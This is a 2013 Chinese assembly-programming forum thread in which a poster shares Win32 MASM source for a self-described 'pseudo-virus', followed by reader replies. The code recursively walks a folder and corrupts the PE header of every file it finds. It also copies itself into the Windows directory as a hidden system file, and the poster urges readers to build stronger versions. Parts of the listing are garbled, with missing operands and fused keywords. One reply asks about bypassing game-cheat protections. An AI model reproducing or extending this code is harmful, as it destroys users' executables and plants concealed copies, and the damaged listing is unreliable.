分享一个Win32汇编的伪病毒代码
本帖最后由 小生我怕怕 于 2013-3-9 15:30 编辑很久没发表技术方面的帖子了,最近其他事情比较多,也耽搁了不少时间,尤其是之前答应鱼友的坑,还有很多没有填!时光一年一年的度过,看到有些鱼友从当初走到现在,替你们感到很高兴,希望大家都坚持下来!
这段时间,很多人问我!几乎都有一个疑惑,那就是学完汇编以后不知道该干什么,下面该怎么继续提升,其实这个问题,因人而异,因为...(还是大家慢慢的感悟和理解吧)下面我分享一个Win32汇编的伪病毒代码,是很久之前写的东东了,希望给有些迷茫的人一启发...为什么是伪,请看下面!
功能:
1.感染文件夹 D:\1\下 的所有exe文件,(包括嵌套文件夹下的)
2.复制自身到指定目录下,并设置文件属性
不足:
1.没有对其他格式文件进行处理
2.只是简单的破坏下PE文件,没有编写相应的破坏代码,如:修改入口,添加节区...
3.没有网络传染能力和注册表,绑定等技术!更没有重定位和基地址获取!
只是一个启发,希望有兴趣的朋友,以此文抛砖引玉,写出功能更强大的东东来!
注:代码很简单,注释我就不写了,代码年久失修,如有不妥之处,欢迎回帖纠正!
源码:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
includelib kernel32.lib
includelib kernel32.lib
;********************************************************************
.data
sz1 db 'D:\1\',0
sz2 db '*.*',0
sz3 db 32 dup(?)
sz4 db 32 dup(?)
sz5 db 'C:\windows\system32.exe',0
p2dd ?
;********************************************************************
.code
_FindFile proc _lpszPath
local @stFindFile:WIN32_FIND_DATA
local @hFindFile
local @szPath:byte;用来存放“路径\”
local @szSearch:byte;用来存放“路径\*.*”
local @szFindFile:byte;用来存放“路径\找到的文件”
pushad
invoke lstrcpy,addr @szPath,_lpszPath
;********************************************************************
invokelstrlen,addr @szPath
lea esi,@szPath
add esi,eax
xor eax,eax
mov al,'\'
.if byte ptr != al
mov word ptr ,ax
.endif
invokelstrcpy,addr @szSearch,addr @szPath
invokelstrcat,addr @szSearch,addr sz2
;********************************************************************
invoke FindFirstFile,addr @szSearch,addr @stFindFile
.if eax !=INVALID_HANDLE_VALUE
mov @hFindFile,eax
.repeat
invokelstrcpy,addr @szFindFile,addr @szPath
invoke lstrcat,addr @szFindFile,addr @stFindFile.cFileName
.if @stFindFile.dwFileAttributes& FILE_ATTRIBUTE_DIRECTORY
.if @stFindFile.cFileName != '.'
invoke_FindFile,addr @szFindFile
.endif
.else
invoke lstrcpy,offset sz3,addr @szFindFile
call ww1
.endif
invokeFindNextFile,@hFindFile,addr @stFindFile
.untileax == FALSE
invokeFindClose,@hFindFile
.endif
;********************************************************************
popad
ret
_FindFile endp
ww1 proc
LOCAL file:OPENFILENAME
LOCAL h1,l1,p1,s1
invoke CreateFile,offset sz3,GENERIC_READ or GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
mov h1,eax
invoke GetFileSize,eax,NULL
mov l1,eax
invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE
mov p1,eax
invoke RtlZeroMemory,eax,l1
invoke ReadFile,h1,p1,l1,offset p2,NULL
mov esi,p1
assume esi:ptr IMAGE_DOS_HEADER
mov eax,.e_lfanew
mov ecx,eax
add esi,eax
assume esi:ptr IMAGE_NT_HEADERS
movzx eax,.FileHeader.NumberOfSections
inc eax
;dec eax
mov s1,eax
add ecx,6
invoke SetFilePointer,h1,ecx,NULL,FILE_BEGIN
invoke WriteFile,h1,addr s1,2,offset p2,0
invoke CloseHandle,h1
ret
ww1 endp
;********************************************************************
run proc
invoke GetModuleHandle,NULL
invoke GetModuleFileName,NULL,offset sz4,32
invoke CopyFile,offset sz4,offset sz5,FALSE
invoke SetFileAttributes,offset sz5,FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
ret
run endp
;********************************************************************
start:
call run
lea eax,offset sz1
push eax
call _FindFile
;********************************************************************
end start
可以看出论坛搞PE和这方面的人不多! 谢谢楼主指导可能现在人都没在吧我相信学汇编的人都还是很有兴趣搞PE的:P 楼主 大婶啊,支持你,,快了,看了 pe 结构就代表 win32汇编 要结束, 谢谢楼主指导 我想说,谢谢你,多少会有点启发,只是我想向反汇编方向发展,不知道老师你有什么建议或意见?学生有礼了。目前初学,再看王爽老师的汇编语言。请老师给我一个学习发展路线 小生我怕怕 发表于 2013-3-9 20:59 static/image/common/back.gif
可以看出论坛搞PE和这方面的人不多!
恩,确实, :loveliness:前排支持 ai979520253 发表于 2013-3-10 12:50 static/image/common/back.gif
我想说,谢谢你,多少会有点启发,只是我想向反汇编方向发展,不知道老师你有什么建议或意见?学生有礼了。 ...
反汇编,预备基础:汇编,C/C++,中期:数据结构算法,PE格式 后期的核心编程,密码学,内核,驱动ring0方面的东西。还有其他OD,IDA等工具,一句话, 至少要有3年以上的某个系统平台的软件开发经验,比如 windows, 熟悉系统内部的每一个运作原理 谢谢楼主指导 支持:victory: 支持支持支持支持支持 牛地方:@{:1_1:}:loveliness:;P;P 向前辈致敬、学习!{:1_1:} 新手,打算往WG方面做,该学什么呢,不太知道外G过保护这些需要什么,学习方向有点不确定,望指点 等我学完王爽老师的那本之后,就开始学win32汇编,吼吼~~~ 伪病毒是不多啊! 我刚刚准备学习汇编。你的《汇编语言笔记》还有续集吗? 小生我怕怕 发表于 2013-3-13 02:20 static/image/common/back.gif
反汇编,预备基础:汇编,C/C++,中期:数据结构算法,PE格式 后期的核心编程,密码学,内核,驱动ring ...
我知道了,老师。谢谢你。学生会努力的 路过看下...